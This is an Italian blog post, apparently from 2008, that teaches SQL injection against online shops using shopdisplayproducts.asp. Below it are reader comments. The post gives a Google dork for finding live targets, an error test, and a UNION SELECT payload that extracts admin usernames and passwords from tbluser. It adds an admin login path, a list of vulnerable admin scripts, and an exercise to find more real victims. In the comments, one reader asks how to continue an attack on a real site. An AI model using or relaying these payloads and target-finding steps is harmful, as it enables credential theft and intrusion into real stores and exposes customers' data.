Ciao a tutti, oggi volevo parlarvi di un exploit riscontrato nei siti che offrono shop online e che usano shopdisplayproducts.asp
Entrando nel dettaglio ecco a cosa vanno in contro i nostri dati sensibili ogni qualvolta li affidiamo a siti che non si aggiornano in maniera costante, sfruttiamo l’sql injection per carpire dati che dovrebbero rimanere strettamente privati tra chi vende e chi acquista il prodotto.

1) Da google digitate:
inurl:/shopdisplayproducts.asp
2) Una volta digitato, cerchiamo un sito che sia vulenerabile all’sql injection, fidatevi che se ne trovano ancora molti per nostra sfortuna.
http://www.prova.com /store/showdisplayproducts.asp?id=14
ok , adesso per vedere se lo script server side è vulnerabile ponete un ‘ al fondo dell’url, in questo modo:
http://www.prova.com/store/shopdisplayproducts.asp?id=14′
Se vi viene resituito il seguente errore, vuol dire che avete trovato un sito target vulnerabile
Products
Microsoft JET Database Engine error ‘80040e14′
Syntax error in string in query expression ‘cc.intcatalogid=p.catalogid and cc.intcategoryid=c.categoryid and cc.intcategoryid = 14′ and hide=0 order by specialoffer desc,cname’.
/store/shop$db.asp, line 467
Ora rimuovete l’apostrofo finale dall’url e usate una union select strutturata in questo modo
%20union%20select% 201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19, 20,21,22,23,24,25,26,27,28,29,
30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50%20from%20tbluser’
3) A questo punto partendo dal numero 50, procedete a ritroso eliminandoli uno ad uno e contemporaneamente provando ad aggiornare la pagina stando attenti a vedere se vi viene ripresentato il medesimo errore.
4) Poniamo l’ipotesi che il numero sia il 47, a cui siete arrivati e che non vi ha restituito errori.
Ora ponete al posto dei numeri 3 e 4 rispettivamente username e password di login, come nell’esempio
http://www.prova.com /store/shopdisplayproducts.asp?id=14%20union%20select% 201,2,fldusername,fldpassword,5,6,7,8,9,10,11,12,1 3,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29, 30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46 ,47%20from%20tbluser’
Andate al seguente indirizzo:
http://www.prova.com /store/colours$config.a sp
Adesso potete loggarvi con username e password.
Come esercizio provate a vedere se google con l’ausilio della stringa riportata all’inizio, opportunamente modificata, vi permette di trovare altri siti vulnerabili.
Questi sono i nomi degli script che potrebbero risultare vulnerabili:
- shopadmin.asp
- shopadmin1.asp
- adminindex.html
- shopadmin1.asp
- shopa_displayorders.asp?page=2
- shopa_displayorders.asp
- shopa.asp
- displayorders.asp
- admin.asp
- orders.asp
- vieworders.asp
- view_orders.asp
Nei prossimi articoli cercheremo di approfondire meglio la tecnica dell’sql injection capendo quali strumenti utilizzare e dove poter sperimentare per poter acquisire nozioni utili che ci servano come base per testare i nostri applicati che renderemo disponibili online.
Disclaimer: L’autore del blog e tutti i suoi collaboratori non sono responsabili dell’uso illecito di queste informazioni, sono state rese disponibili solo per conoscienza e informazione.
Happy Hacking.
Articoli che potrebbero interessarti:
lobuono92 ha risposto Giovedì, 5 Giugno 2008 - 15:34
ciao…otiima guida…ma volevo chiederti…il messaggio di errore ricevuto dal server deve sempre essere
Products
Microsoft JET Database Engine error ‘80040e14′
Syntax error in string in query expression ‘cc.intcatalogid=p.catalogid and cc.intcategoryid=c.categoryid and cc.intcategoryid = 14′ and hide=0 order by specialoffer desc,cname’.
/store/shop$db.asp, line 467
oppure puo scrivere un altro errore ma che il codice sia sempre ‘80040e14′?
lobuono92 ha risposto Giovedì, 5 Giugno 2008 - 15:53
io sono arrivato al punto che mi ha finito di dare gli errori e mi è venuta la pagina normale ma nn mi ha dato ne password ne admin…cosa faccio?
Luigi ha risposto Giovedì, 5 Giugno 2008 - 17:14
Ciao, per quanto riguarda l’errore, l’articolo era mirato a far comprendere che in molte applicazione web, quando si usa interfacciarsi con un database, si tende a non controllare i valori e la lunghezza dei parametri che si passano con la conseguenza che si crea un possibile punto di accesso a dati sensibili. L’errore che ti restituisce indica che vi è un problema di validazione e di gestione dei parametri passati ma non necessariamente collegato all’exploit riportato. Spero di esserti stato utile. Buona serata, luigi
lobuono92 ha risposto Sabato, 7 Giugno 2008 - 14:23
grazie…poi avrei un problema…mi spiego…io collaboro con il team extreme e cerchiamo di aiutare il web cioe se troviamo un sito buggato aiutiamo il webmaster e fixarlo…io ho provato su un sito utilizzando una dork diversa da queste e mi dava l’errore e sono arrivato fino a metà della tua guida…ho fatto l’SQL fino quando nn mi dava piu lerrore e mi visualizzava la pagina originale quando avevo trovato il numero…adesso cosa devo fare?
grazie
lobuono92 ha risposto Sabato, 7 Giugno 2008 - 15:13
su messenger o via email potresti contattarmi a lobuono92@hotmail.it
?
grazie mille x la disponibilità e per la risposta…